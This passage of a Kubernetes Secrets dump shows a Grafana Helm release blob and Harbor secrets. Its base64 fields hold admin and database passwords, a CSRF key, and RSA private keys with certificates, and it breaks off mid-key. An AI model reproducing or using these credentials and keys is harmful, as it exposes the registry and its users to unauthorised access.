wzZ1pNUHU0T25vYkl4dWR6Qmt5Q0RuQjBKbmVaSTZMUkhRdWMwbmg5WDQ4VVlHZWpvN3hrWTd1ZXVVK01rU1lUcnRIdlBrdmpRZ0xEK0RjTUlubEU0UXozQ0hwcHFPN0N5Vzg2ZHljRkM5SVNON0M4M25RNEFnL1N4Y3dMMnNqbUkzUURHSStHTk9zY01jelh2dDNudFdSUDRKSjl4NTdmWGk5T2JaZ2VUVS9iRVNmT3gwNm5HOEtUYnY5KzZOenEzQm10bEdtRG5rWVYwU2FHT2xzWE1JRTREMldOU0szaEtiVTdjRzlMZzRBcHlJZ3R5T2xJTFdMRFVhSFpaMldmcTdtRk1uTVhuT1lSckpxSWREZzQyZG9yaFBhN2ZPOFpVV1I4YzF2TjM3em1HN2VuUHhycmFEaDNnLys4KzN6VFZHV01pM29FdHZycG5Ja1AxUTdNUGhqQjc0NW10b1VITHlJWE9pWW14Tk5ZUVdQQmczTHJuVTExYmErVzN4OGVYK25IUmN6TDEvVFBTWmVwNGtxV0tyWm1rQUo5Y0FqeWZJdW5ZeVk3ZVkrcmVzU1V4TkpUNFlISHMyTkFNM3hKdXpoZER1b0V6NE4xekFoaFY0a3pMSVRKcWVhaWhzaXlFNFpaRmUxaWtyMi9OM0htM0tlQTU2K1pUaElqZm9XOHluM2JzRUFmajdmRVFqVVBxRlc0REZnNE9UblBpMjk0dFhzT3UzUjZ5MFFoVWZqQnBvL0VuTjNnck9JRlVublhJV2QvTEg1MUF5ZlNBUHh2TDA4SGduTndSVnV6LzlieG1yS1YxWXlzcjRWVHI5aDdOQiszYlFsVVlPL0EzZG5ZRGZ2WEM0WW5ibkRHcnVsSmtrZzRkVzhIMHNZQlI2dVN0STZzcGhsVTk5RjY5cDN1VmJsaDZZSG9WbUwrWnBHd1FIZUtTems2NDdKMjZVMGFSRjh5cE4xUGsxWlJSNWtyUGwrYkxTVmZwTFVNNkxja1IyRFdhaTY0ZUwzVzlSMWxVUkxjM21JMUZZNkE4ZDFzelphRE9WUWY5KzBMWktzbU1uU2lMN1VDZEtVdStKdHdMZG1NWWhlK0dmUTN1ZE5BRE1jbFQwWjNBenl6U3FwekFnMjUvWDN2VmJuRVhvTlJUUzcvSVFsc2xFTjc3L0x1am9QcE5TRlVJeXBJa25lTlRZUlZuVmxOaGNQdXpMclRQS2twQTYrWlNCbDBwTHc0RTRSNHBxQklJbzl0VnB5QkpiOGlEYXNxNUVsQVU1TDllemsydS9ENzQ0bWFkdlVKU28wZUJrMWpjWUcwSmJkOEtqZGdPK0QxT0ErbnliL082ZHJPa1RMWS91eWh2WkFyUDJMTFFteUNkdzdlM2lJOWd1S0VLL1BVN3oxMEdxRzFPWVY2dStRRmxSN0p0a2o2QzlPa3FSS2hRMHlvT25tLzdUc1lTYUU0NUpiK1JOZElwMzZjNWxOVldTMFFMeUozTGVZM214YjJjRzVySUd0cUVtVVBxazVJdFZINkw0ZVd1Z3luZnN4KzV2ZVE4UnplQ09LV3RabW5iMUNUZkorMk1ocmRhV2QrOVAzUndXbExxOWdDWFV0VE9tOENjNGRhblUxTG1VaGRjSXFuUjBXckVHUWNyZTZvTklNZnVMdkdTMUExdDk4cmJWRFpGMWJrbExnUW5WR3IzamMwTlRsSExwUkxQY1cxemwzeHl3d093cWJkZEZMenJESDNGdUtKbER2V0hRcUpIT1RudkVSU0M4OFhOdXJFVlRCSkhuZmwwWkhnVUdLd2xuWEFra05URWpqUndSTjR5U0RsZGswOUkySk9ESmhpc1AxaTQvYkU1M3lmdytzYmEza0NrZkdzdGpiTWhPb283bDRkQ1dPQnFQVkw1VytlUEdMV2h0am5DTUNVNzRLbnNtYTQ2VmVSVE5UK1hPc05lNnJ2S3dEY3VzMmwreUY0VWwyUUhtUmV3NWpJYlJ0bUs4L0dtTmk5NVpHZys5Q2U5R09kM091aFpjSkFQTHBSTkUyZmZJSm9xbWI1b2RKZWJhdVlRd1IydW04OU5KODNGdThUQlJEbG81bTFZaTkzc3JuWG9sVjN0OS9TLzUvMzNQKzk2blB4NjV6MzhQVFN3NHJXRXFQTmpsV2FxZlN4b3ArYWNVOXBYT2ZLVVkrNDdBMFU0TzBxNHdBMlFVaCtDSDRGWVltOWlXcWdLNXNLQitZK21BN2tpR0lzSWNmTFozaWRwRkpReDQ1ODNTUlNXa3NwdE1yODgvUGFYMzM1NkNNelFlM09UOU9Icnc2ZFBuNzZGLzFkakh1MTN0dnUxc2RxWmIyWm9mazdkSVBiTjFFMCtKKzd1NE5tdWFkdlJQa3hCK0gwTHpkaFRrQ0NPd3ErTkEvc3QzSHFoODdVeHg0OTI4S1BmUW5PZlJoQkhyUDZ3aUxadStMWHhadnFKK3kwTTNOUkVFL3o2TFd3MGZOTnkvUVQrc2RGWXUzN3djN0wrYksvTlhWcE03UlBML016OHpPQkh6RGorZWJ1MzNGM29wbTd5c3hkOVJydFNQSHZySVM5TVVqTzBQMzd3a0MveTJ3UEwvY3orekg1N1FJOWVmUVQ5SVluTnlvaDM3S3k5Y3ovYVVmVEl4U2JkOWZWL2s3MU1zOWo5Mm5pSnpiL3UzVzloc1VUMFg5TUp2UERUUG5GMzZCWGNMcVQxQ3o0QS9GdHNKc2t4Mmpubzk2WGEvcXZwMjh4eTBaVVd5L1d6clRnalUycXZaNzdZbm02M1RYMnpmcHh4ZnFRR0szWWlpZEd5TnhrbzAxL0llTDVqeHAvU0tQRFJVT2hQSHg1ZUVTaC85L3dFZUdwc3h2L0JSMWc1TkRMQXoxN29mVzM4RHg3bnoyWm8rbG5xMmNsZjhCL3N0V3R2ZjMyTGRyL3VZd2Z0WnVPWFJycERCQUNQa3pGK0RkMlV2TERmK1kxZkd1czBqWk92bnovbjN3alJ6WUEzL0doRm5nd2l4MjM4MHJDak1JbjhmTURZVE5mNXQ5RnNHNzgwUGgvTTNXZmZzL0xCUHVOZi9XaVZGTDlHcTgrVi9ZajkvY29MazdxM3lVL2t1VjEwOE5BK2VlRUtQZXltZHZrZzlSdVpIV0t3N2k2ZlhoU1lYdGo0cGZIZi8zMFBFZnI3SkhWM3U4aDNDUmtTc3NOL244RVcwSlM1czB6N1ozT2ZycU9kZHpaVEx3cC8zajdobzJYL0ExanhKMnBEdm9XN3ZlOG1YeHQvL3N2MzdhVGxoWTRYcm01dGFCZi8vTHYzOWVhRXJYemdmNU85VC9iV3hyVlRQTTFQalhvVkFJMVhNNWM2ZG9mMllPYSt3WEExWlB6dVVhTkplOUl1MnNmdm5NVWRaRURkcFB1UEYwOFd6L0kvbHN0L3oyVzZ2a1cvWnpPTGkvYWZ1NmNVeGQ5RnYvbkZxTDBSbFJ0NSt6NytLTjBWeHIzSEhQZ1BQc0FrZG0yWUlsWmpDYitTWDlHZjRtaVg1dlAvUkZhZDVEdlNnUCtnUjc0Mm5wamkzM2RSR3RtUi83V3hFRjd6UDZibWJ1V21yeEcxY1BSVDR2cXVuVWE3cno5NitSOGV2ZVBHZnBRRmJxMHhhTVp4UXQzajUrTFoveE9vWU9mR3ZtZWJ5ZGNHaS84VnEzcDlMMG1qWFRieUFpLzkybUNabXVNTHpOUmVqK2pGM3JtV3UxZVRwRHN6ZFZjWkdSNFQ3Q3p5ZlM5Y0xVRUxCem9tcDV4UGl6NHkwSStyVTd6clRMNWpMZDl4TnQrbEpNTERZUmlsd0U3cCtZTXBrdXdEWXM5OWJUQXViMXNPNDVwUEx0ZHltOXpiRitmTk50dVdhYkZmVE00eW1mWmptM3RzY1crTXlmQm02K21KZTJvMlRmZnB5VzNaZHN0czFneWQyRlFhUHhnQWpydjdsSC9RL2NKWWI0L21VNXRsZU41cFByWFpMMC9tbDBmSDViKzB2MWdXWTdsdlR4elBPK2FqODlScU5SOFpyczB6YnF2MXhyVGZuRGV1VmZkQjhCcDhiYlFlMjA5UEZ2LzBoV0diTFAvbFMrc0w4OFZpSE10OHROSDgrUmJyY284T2IzUHRMK3lYTDNienlYemlXZjVMMjJLK3NDYkx1ZVhRYUpmdDFML1k3VHlRYTBkaGFub2hNdFFyWjFSY0RQU2YvUCtUaWtTYTFKTDB1MzZqMGxKc05KSzF1WE5mZDVIdEpzbWs1Q0RFdFpSLzBON3Z2RFFUb2pCMVR5bDErRzhKRWJtdEwxejUxOTArN056K1lSS0ZzeWhLcTlNZ3Z5M0JWMEc5NDRhbTVidGtGU012M0NiVjk0cU5vMG55VStQRzNXZzBJT2thRWJjVDJWdDNoODRnNTgvay83OWVrbjN4MnV2ZTkxOGozN096cnczNWJSS2xyenMzY1hNZC9hT3RnbVB4L2VqNHV2TU9udSt1M0Y1aW16N2NwNHY5Smtzelk5UHlmQy8xM09SaW5FYkQyVVh4MVI4L05UcWpVZldQaVd2YlVSQy83cUkzejNldjNpQk1iQittWHVBK1kyS2tuemxFL2o1d3gxREpjUEZ5dnNuNEZsNE9ETVQzYXFacnROY1YrNTN5YjFUM0dLYTd0L0JMOUZPMW4wVUN3Vnk1NzMvM3dzbFEvUjZ0WHR4Qk9SVnF3OHBFazJHWXkwZHFOWkNMd2FNazhlSlBxUjEvTUQ3UDhLM2ZQLzdlK1dQakw1OXZqQjhETVJYdWw1dkRQektQOTIrUEd4NXVuTVhyeS9Pdjh1dmxRQkJKRm5kUmNFWFRqY2FiNS9wT2JoYlUvb2dwSkVuTmRKLzhIRWVPZkdPcGt2anJ2Q2NzWi9KQy83WHpQSlludnk3bnZkbjN6QVZMa3FHYjNaclB1d1FIa3NQTnZsS3UzSHNuK3RxWno5V1gyZk0vYmJLNWIvbm1oRjg3aS83ODErZk9vbE03eDYrM1hJdzNoeHE5U1BOM2g3cjBSOTRjNlhXMGxPVEovTjU1Vlp5WHR3ZWR2U2p5WEg2WnlCUHAxc2p2ZXpxSkN1a2QzTkJOa3RkZFpGMnk5RGZUOC9jN2Q3SGV1Y2s2OHAxY1d5Ny9zMDdUV0hMVHErT040VXA4Tm1Qdjg5bzEvWFI5OWNBTm51ZUZYdXFaL3JQcm05bmN0YVBRU2REZHJ6NkU1RXUwVDR2Zm01WGZkNjdwZUxlVzlBTW5qTVZabmFwd0xjWHNQUEJ3OGVFYlYrQWR1ZVFHY1pvOWU3dXZqYi85OWkxOCtPbGhIVVhiNU9Icm40c0laSzcwcDI2U1B2ejBnQ3kvaDY4UFZkM3Q0YWNIdE9MeWFjcWdSTy9oLy8xVUUyeDhxSVFyN3dzOC92czdzdEZ1M0RhTHIyMlpidy81eXREeGZIdjQyc2hIdVB6dGsrUDZidXAraWtFWFJFOStlN0RjdDJqbmZvS2Y3WjBMSS84RS81YnNiZHQxSGRmNTl2RHcwNE43Y01NVW5mMERuUFZmZm5yd3pTVDlkYmNQSDc3KzdTRkp6VjNxT3IrYTZLQWVmbnBBcWh2NlZQbVhlRzBtaUdJZWZ2dnBBVS9qVjVpRzU4S2dkZE1nQkZkTzVPRXZWUEM3bnZTS3FOdWRWRmVONWQxRGNIZkY5ZjRWRC9IZkw2cTQyNGMvSit1dmpmLzVoTi8vZjlHZU5MNDlMTkQvOVRIcmZHajhMV2RaKzUzL3k3Y0h4SFhMU0NITlpSKytoYVgxNWJpLy9OZi9mVnk1YWVQVEp4eUcrN1J6a3pnS0V4ZjlKVWFHZXVQVEo4TCtHenlEL21YbnVVbURaUnIvOWJmOXp2K3R3WDNiTTB6VFJmL0xQYktOLzJtWXgyM2p2ei8vZjQxR2Y3RjQvZnkzZU9lRmFlTy91Ti8rKy8vSlAvem54cmVILzBKZi8vYlErT1dYeHJjSGptRytQVFJJQ1BDM2Y1K0w5aG81OTEyeHV5L1dhK1RjZGFYK1RaajZQKzJPMTdHY3doM3pqZ3VtMk9BcjE4U25HeWR4d3k5aG1Xa0MvL1Axd1A3Y29qMFNWOTZJYnc4VmY4UkRlVCtEd0VSRThlZHZENStqT0NWamVpSDh3N2VIbnhyZkhqNmwrUDhKcldGbThlM2hMMVdkNmNvRjhJazJ0Zkc3dE02RFYzcjFaNlRvdllSK1ZqcHhxaXJacDdvWDZ6U3grcDNjdVhDeDgyMlp1QWQzOTYvREMvN3kwd01oOG9ldjdFOFBCWUdWTi8vaHQvOC9BQUQvLzBjTkdMSVZVQVFB
  kind: Secret
  metadata:
    creationTimestamp: "2025-09-21T20:37:13Z"
    labels:
      modifiedAt: "1758487032"
      name: grafana
      owner: helm
      status: deployed
      version: "1"
    name: sh.helm.release.v1.grafana.v1
    namespace: grafana
    resourceVersion: "78713"
    uid: 90c072e1-4734-4238-9758-cf9925c0543f
  type: helm.sh/release.v1
- apiVersion: v1
  data:
    CSRF_KEY: VGRqbXZtdjE0dGJFcXNPQXF2ZmNYMk9PV1gyZkx4dmM=
    HARBOR_ADMIN_PASSWORD: SGFyYm9yMTIzNDU=
    POSTGRESQL_PASSWORD: Y2hhbmdlaXQ=
    REGISTRY_CREDENTIAL_PASSWORD: aGFyYm9yX3JlZ2lzdHJ5X3Bhc3N3b3Jk
    secret: YmUyZDNPVHlLb2JjaDFXMA==
    secretKey: bm90LWEtc2VjdXJlLWtleQ==
    tls.crt: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURIekNDQWdlZ0F3SUJBZ0lRWk56MlVBQSt2dXBXYnR5ZmhxNUdEVEFOQmdrcWhraUc5dzBCQVFzRkFEQWEKTVJnd0ZnWURWUVFERXc5b1lYSmliM0l0ZEc5clpXNHRZMkV3SGhjTk1qVXhNREU1TVRFMU56VTJXaGNOTWpZeApNREU1TVRFMU56VTJXakFhTVJnd0ZnWURWUVFERXc5b1lYSmliM0l0ZEc5clpXNHRZMkV3Z2dFaU1BMEdDU3FHClNJYjNEUUVCQVFVQUE0SUJEd0F3Z2dFS0FvSUJBUURFZHF1akNHbkVRcVpwNDFLRGErWTNSUzNrMHhveW5aQVAKVXBSYjdqNzRyUXJ1ckJoUVFUbzZTOWJzZzdDWkUybEhMQzF6L0pMdVVqRzVWRnhYcTE4N0tadGFVdXhzMTE0RQpWaFFLVFVURzRPbm1YaFdieWxIbFMveHBudDhQM2FFSkdJekU3VXIyMVNWekIzL1FnS3Q3dTRlV2NnbFNBS29WCmVPT0kxR0l2VU9xWW5jOWxVWm1zaFRkakxpbWg0WUk2MXZ6OGVsY0xxZmdOYW9oOEMzaGFITGoxWjF4VmRZY2sKdUgvMmxlRmVHeEQ4bk0vY1lrQzBacytEWW44cXcxY3RXSURFZUpUT2xpenFRVkRPdEI1K0tIK2dXanFlNmtVVwpMVEpFTCszZk1tR2RHNlBZMjVkcTVhWVM4SlYwamh3Ykp6ZGNnTUpwODVXSVVOMTMveUt6QWdNQkFBR2pZVEJmCk1BNEdBMVVkRHdFQi93UUVBd0lDcERBZEJnTlZIU1VFRmpBVUJnZ3JCZ0VGQlFjREFRWUlLd1lCQlFVSEF3SXcKRHdZRFZSMFRBUUgvQkFVd0F3RUIvekFkQmdOVkhRNEVGZ1FVM1V5ZmxLbitxcm9YanFOdjJ3V3MzaGNRdDZFdwpEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBQ2lqNXMydnRjejFwUHpjSEhNc0RqTXlTNFBmNlVIN2lXRE5FNnJSCndXQ1drUGMxQ05CTWtEQklYNTRTNXpmcXhrYVhMci9BTXE4eGJDdG9SSklmQkNKaGp2RG1qZmI4V0RMQUt6OE0KTnhCZks4eCs3dDRvcXA5cGtYK09OZEFVWmdQVVBXakJjd09FTWxtZy9QQ25wTkhHbzN0c0JPY2JibXZ5K3YyeQpLVEtNYU82S0dxekpqczBKaDZJZ1c4dWpxMmlDSWtWbmZ4MXJtY1BlSXRHSXNuY0JiK3JjWG0rcG53OUY1L0tLCjFNRlhSajk0R3pyUms2VWRXM2wweUtkbjljZU44cThuQmM5OXp5THQvcDRYQmxpaERvT2tpTE5mTldtUWVJSjMKTW9xSUtxam1EbTJzNmF2QmdoaE1HTzBlQzRGMVZlSzdPQjh0YlkxZkZIZC9NYVU9Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K
    tls.key: LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFb2dJQkFBS0NBUUVBeEhhcm93aHB4RUttYWVOU2cydm1OMFV0NU5NYU1wMlFEMUtVVys0KytLMEs3cXdZClVFRTZPa3ZXN0lPd21STnBSeXd0Yy95UzdsSXh1VlJjVjZ0Zk95bWJXbExzYk5kZUJGWVVDazFFeHVEcDVsNFYKbThwUjVVdjhhWjdmRDkyaENSaU14TzFLOXRVbGN3ZC8wSUNyZTd1SGxuSUpVZ0NxRlhqamlOUmlMMURxbUozUApaVkdacklVM1l5NHBvZUdDT3RiOC9IcFhDNm40RFdxSWZBdDRXaHk0OVdkY1ZYV0hKTGgvOXBYaFhoc1EvSnpQCjNHSkF0R2JQZzJKL0tzTlhMVmlBeEhpVXpwWXM2a0ZRenJRZWZpaC9vRm82bnVwRkZpMHlSQy90M3pKaG5SdWoKMk51WGF1V21FdkNWZEk0Y0d5YzNYSURDYWZPVmlGRGRkLzhpc3dJREFRQUJBb0lCQUJBdkY1NU5CemltV1UreApob2hGa25zVFM0WUxsV3d3L1pqd3ZFQ1BwS0ZYQSthaCt0SmNDNW5NeWlmRkJQNS9LL1htMzlnU0QwZFJtS1lFCkFWYjVmZTduMDIxMWUrTm9vVE5jMkZCZ2liZGY5L1NyU2d2T2R2T2JVRlk3ZGcyZW9sZXcrbFZDTWJ0bW84VnEKdm03TEhFaHgrTTVLeWZ2MjEzSm14aFU1K053M0IxcSt3RXJQc3owZ1pCbm5DOWxoR3VHZGdWVXROQjZPTzBJYwpvS0dqdkFnck1rRHJNTkJ3Z2lPQ0NFWXkrbmdGOHJRV2pkUC9DVkRhdU11UWhzMXFTUEFNdnBBbzlORnFROUtOCmRuZUJSay9qYkswRVRFTC9pM1dvbnExTGFZTjFDVXJJdit4YXZpNS9McFU1SFRMMjVKeDRxQUFUQ3JTL2MvRDAKMk8xVDJ3a0NnWUVBM3A1RGF4dmRMWUhIUjFoOUpmTFpLMzdiOEJqenl6K3YvQjlCck1mOExGMmdxRXZPcVV2UApJRVl2MnU0d1U2a3EvMlNzK2FLRVc4bHJpMHJFN2pWY3Vab0xPcWh3VTJCNGZGRmRlODQ0RGJBVElhR2JpODgyCmZ6NXpSclZoTDNya2xWOTBkV0hsbVlmQkI3UGthaWp3MFBYYUJrcE1BRUJQSk1rL2JFZDdlR3NDZ1lFQTRleGwKd0dQcU12TThudGVTWEVQL0NYOWdGQ0F4QlkwaFFxMVpKY0pIREdsbEZJTWVabUVGMmlyWXBCeURsZHpkRmZDcQpDNGJ6MXMwL2hNK2NOMlJXZUw1WmVWK3dRYnduYUs1V2xIWXZoK1l1RXZaYmt1UXRhS29lcTFMWTFZVDVIV3oxCitPWnk2MjlLaFg3QWZOVkRIUk5GQ3E4aS9kWENxVFBvbllYR01Oa0NnWUJQN2sxUXFPbUtURjJyN1ViS0dGOEgKY2Y0d1FCVlE5ZVlQUlgzRU51NEJWQUM2VExYQUxac0tBSWx3TnpPYzVsR3M3NDMzOS9WRUs1YjBwWHo5OXFUNwpjeWJ6QWNXSytrbG9nYUpxTUlvSnlCMm1acXM5ME1IRmdEdk51SlJUZ3ZHTi9IOEpJb1JZMHRocEZwczl6c05nCms5V2JpcE90UjJualVHcjRTdFkzVHdLQmdFUThOQmRCbGpEQlNtUG5WQ3ROMWkrMkt2eXBKR1U2MVByZ2hIWmwKRVRSc2VMMFRSUkZDNkpPV01VeVAyQ1poU04waGpScGlMaStJV2xEd3E0d0hZQjZqeno1YmFrN1FWMDdFcVIyNQovRzBkVm5rZnMxVFFXZTZzd3dxWHdTbnNPWmxybVhjTmsxUU1qd04yM3doVkdTb2s4Y3RpVGoxQVhNVGlDclhZCis1MHhBb0dBU1Y3cXVFVi8rNzJyOC9DWE4vT3pCUWRQNHdoVGU3T0x6ODJSL21GcTZhSENYWllTeWswTys2bGUKbER6c3BqRU5zUU1YdEJURjBNV2phWXFmYk5SYk8rNTcvRXNqQVI0Y3czakZxcXpwZFRHM044aGg5d0lQdng2egpmV1VEQ0orZW1TeGhSZUhtc0pOZVI4cTc2NXpYRDVVNU54akhWUExkYUVLUjh2SFN4VmM9Ci0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0tCg==
  kind: Secret
  metadata:
    annotations:
      meta.helm.sh/release-name: harbor
      meta.helm.sh/release-namespace: harbor
    creationTimestamp: "2025-10-19T11:57:58Z"
    labels:
      app: harbor
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      heritage: Helm
      release: harbor
    name: harbor-core
    namespace: harbor
    resourceVersion: "6777371"
    uid: a8743fd8-2163-4781-af18-2a2c2f059fd9
  type: Opaque
- apiVersion: v1
  data:
    POSTGRES_PASSWORD: Y2hhbmdlaXQ=
  kind: Secret
  metadata:
    annotations:
      meta.helm.sh/release-name: harbor
      meta.helm.sh/release-namespace: harbor
    creationTimestamp: "2025-10-19T11:57:58Z"
    labels:
      app: harbor
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      heritage: Helm
      release: harbor
    name: harbor-database
    namespace: harbor
    resourceVersion: "6777372"
    uid: 2ee10cc6-250d-445f-9f2b-889926cb687b
  type: Opaque
- apiVersion: v1
  data:
    ca.crt: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURGRENDQWZ5Z0F3SUJBZ0lSQUo4K0VKWnRkN0VCWDVwM3dGWUR1c0l3RFFZSktvWklodmNOQVFFTEJRQXcKRkRFU01CQUdBMVVFQXhNSmFHRnlZbTl5TFdOaE1CNFhEVEkxTVRBeE9URXhOVGMxTlZvWERUSTJNVEF4T1RFeApOVGMxTlZvd0ZERVNNQkFHQTFVRUF4TUphR0Z5WW05eUxXTmhNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DCkFROEFNSUlCQ2dLQ0FRRUF2WHRCOVNmUlRiQVkvNFUvNW5SVmsrTElrbXlHdU1rQ1dHdGdXOHgxSVgyM2RTSjIKWVQ4dDltVFU0OUFOV1UvWTZYMTQwbXpVaDNqN2lYdjB6cURuNWVCSGVBbUY2ejFCRkp4Tk9GWDM0WXdNZVpEbgpreHVNdkZoTXYvaUYrRGpzSDVDVFp6L21LeGZsVlVPTTJSYStnOGxUOS9ib0pJMm1UbWE3UGdmV0MySXN6Qmw4Ckk2c2RVdlJ4NUZpbjBUbTRqcDh6KzdocE5qTVZDTXNtbVdkYTg3aEJzWHhrZ25ZWGd4VXE4bmxJVVdUb2w4Q0oKUVlkSUdhSjBUdDFWK29jQWFvenUzMEtBWUl1Smc1MDI1eFc2cmtaQ3V6cFc0a3FYUGVhdzNBSXVaRWtaaUtzQwpROXkzS2hXUWtlTFpQc0hnMGdUbkFZdlA5NkRIdk9rK1ErU0w4UUlEQVFBQm8yRXdYekFPQmdOVkhROEJBZjhFCkJBTUNBcVF3SFFZRFZSMGxCQll3RkFZSUt3WUJCUVVIQXdFR0NDc0dBUVVGQndNQ01BOEdBMVVkRXdFQi93UUYKTUFNQkFmOHdIUVlEVlIwT0JCWUVGTU9PNEFGWkppZzlxS0tPVXgzYjhBMStFZGFZTUEwR0NTcUdTSWIzRFFFQgpDd1VBQTRJQkFRQmtiZVltaFFOZUtwOHRQM0gyTkVTcTFZYnpKTEVmajFORzZSU2lIZVBQbXljVUhvcG9CTTBoCk1kOS8rb1RBS2wzUnJKYlB0Mnl4Vk5hL2E5T0dkTjlsRmlTb2tJWHl3ejVkaDZpeEwwRDhxUkYzRU9Ta1Z3d2oKTC9aMVExcXhBbWdBRytFNFlWN2VOZDBOUCtnVzU3NzVpNDVjL1RsZ21CcUZkaUsvWVRBekdVbFhhOEY5VDZvcwpLVmFyVE5YSnF6R2dUcm8xdUF2NlJ2QU1WbjdFSzBsZlM0ano2UGlLVGhlNVV5eWdMczVQSjFQcW5UTDFRbDAyCjRqc1praXYrSXVHaEtmRXJqZWJXSkd5S2VwQVh0WjhMdXFoKzZBbm5YTzkrNWpGbDlyQTNTZWhEK1I1cGFMcSsKU1ZDSkFYNmtuZGxHVG5rdWZ2cnNsZzhFSXJ6NGx6RWEKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=
    tls.crt: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURPakNDQWlLZ0F3SUJBZ0lRZXdna1pEV2FxQTBEb3FkZXF3VUZaREFOQmdrcWhraUc5dzBCQVFzRkFEQVUKTVJJd0VBWURWUVFERXdsb1lYSmliM0l0WTJFd0hoY05NalV4TURFNU1URTFOelUyV2hjTk1qWXhNREU1TVRFMQpOelUyV2pBZE1Sc3dHUVlEVlFRREV4SmpiM0psTG1oaGNtSnZjaTVrYjIxaGFXNHdnZ0VpTUEwR0NTcUdTSWIzCkRRRUJBUVVBQTRJQkR3QXdnZ0VLQW9JQkFRREIzT3hmTFNLMlBUNy95RVR1MlVlTHJycWF6Zm5sTVd1TjhIMVQKYzl5UU8xUWlUeVJvVDFyRUdNckhpVk5ybVI4SENhZ1gyOVRSZUQ2T1V5eExxN1UyZkNoMklRS2UrZEFkL1Z5OApOS2xJbWZ5dS9aYjF2amc1dlVaWlhUdkNZM0s1STRHUkVVeS9mbVFKclJucHFUckxOcC9EYjRmR0FsSG1JdUhWCnBIdjA1U3FPS1d4RnBBS2VEMHFPdW1kVTNJaTRPUjVjSHZ2RjBYQUdiRzJTNEs4cDBzNHpudGRCeHYzRENncUYKS0xoT0RNOUg5SDR4eWxSRTdpcEpDTHVQTmlpSGRQckdOUHJoUnhlZ0pnSDNEK3FwQzQ1YWpMZTZtTWFuSkFzRQoySEQwT1VtUTdxUlArdzl1WFZPZnUzR3F1eDJsUDlUUHJTWDRrOHpDdjN2ellKcFBBZ01CQUFHamZ6QjlNQTRHCkExVWREd0VCL3dRRUF3SUZvREFkQmdOVkhTVUVGakFVQmdnckJnRUZCUWNEQVFZSUt3WUJCUVVIQXdJd0RBWUQKVlIwVEFRSC9CQUl3QURBZkJnTlZIU01FR0RBV2dCVERqdUFCV1NZb1BhaWlqbE1kMi9BTmZoSFdtREFkQmdOVgpIUkVFRmpBVWdoSmpiM0psTG1oaGNtSnZjaTVrYjIxaGFXNHdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBSGlWCloyMDZ0LzVZdDMwc3RkZ2Q5OG5Pak9Ub0xQeWNBRyt2MHk3dWU5SzBrK2RsNUxxSGpIRDdJWGYvc2QvUmFWajcKS20xOWhvNkcvOVBTbFVkbFZJZ0dDdjU4bjdQZWZwV1hPZGhGenU1bE5McE8zTHI2NmJGandhU3hUNjB4R3NlYwpJcmNzOWNkbHpHdXZTR3dPcGFrbmhZUFh2aGozTFZYZW9Qb0RMSDUwNE1DK3RYZ1JodEVNUEo0QnMyZ1BjTlZGCnV2eWhqS3hEb3JkQTRXYmI2bDdrc3JTVWVjUWlKdG9qNGxOYndiSzFXeE02Q2JIR2lPaE90MG84Z3hKbmJOLzEKSXpwQXY0akRyWi9hcldhd1FvQUxvR0tjU2tKZmxnYnpwQzlHejZPaU00bzhrZXR5R0hLM202U2JYeVVWNGpJOAo2cWloblZvNkdJcEcxVmJqY2RnPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
    tls.key: LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFb3dJQkFBS0NBUUVBd2R6c1h5MGl0ajArLzhoRTd0bEhpNjY2bXMzNTVURnJqZkI5VTNQY2tEdFVJazhrCmFFOWF4QmpLeDRsVGE1a2ZCd21vRjl2VTBYZytqbE1zUzZ1MU5ud29kaUVDbnZuUUhmMWN2RFNwU0puOHJ2MlcKOWI0NE9iMUdXVjA3d21OeXVTT0JrUkZNdjM1a0NhMFo2YWs2eXphZncyK0h4Z0pSNWlMaDFhUjc5T1VxamlscwpSYVFDbmc5S2pycG5WTnlJdURrZVhCNzd4ZEZ3Qm14dGt1Q3ZLZExPTTU3WFFjYjl3d29LaFNpNFRnelBSL1IrCk1jcFVSTzRxU1FpN2p6WW9oM1Q2eGpUNjRVY1hvQ1lCOXcvcXFRdU9Xb3kzdXBqR3B5UUxCTmh3OURsSmtPNmsKVC9zUGJsMVRuN3R4cXJzZHBUL1V6NjBsK0pQTXdyOTc4MkNhVHdJREFRQUJBb0lCQUMyRFNsTUY2N0pSS3FzdQpQMUM3M2hvakNWZ3lwMHB4a2NpZS95MUtkQ3ZBWWY0MENsNGEwenBhZjdEY3dxTHVMZVNmRmNHVU1LQ0UxRnJoCmwvS2orMFV4WE9adTFZaXhLWFVBK0hhTy9uYzIvNld0ajNWZUZTRXBHSXorWUh0QWtieDVZMy9GU2ZsakdPVlUKcUZLOUVqcUhObmJSaGxTc1VzSHV5b28zdFlwR29mWHduYzZRSzNyaHdKaklzNWNjbkkxb3RpaE5QQ2RCald5dApHcUxtS0hKMGhBRVdmakVBTUxta0JyM1FGdnl1a2FGd29HT0VNSGo1MXVMQ0o3RFJEQUhGdXkvajlINGNEYWw2CnBUM3VlR2pJZ3F5TVo4eThaQW1TWFBqZ1c2bm1KNU9oWXZzSWE5eWhyR0pxOFhhdW5ZS2ZpOVJON2l0clcram0KTUVrU2tVRUNnWUVBODE4Zks1cUtSMGw5Vm1KRjlvQVlCMnRoNUNQaDVQaW0rSlVyb3B2TmxnM3ZxeUNBbU14RApHbFYzZW54V3p5cDNSUFhTOE5yanlwdnRKN20vSnNnYVlnT3dUcWhvUUVvbVZ0N1l1WjdkU1dYbG9vQUp5cmNQCkFHMnlDaUhua1NGWWpXay80N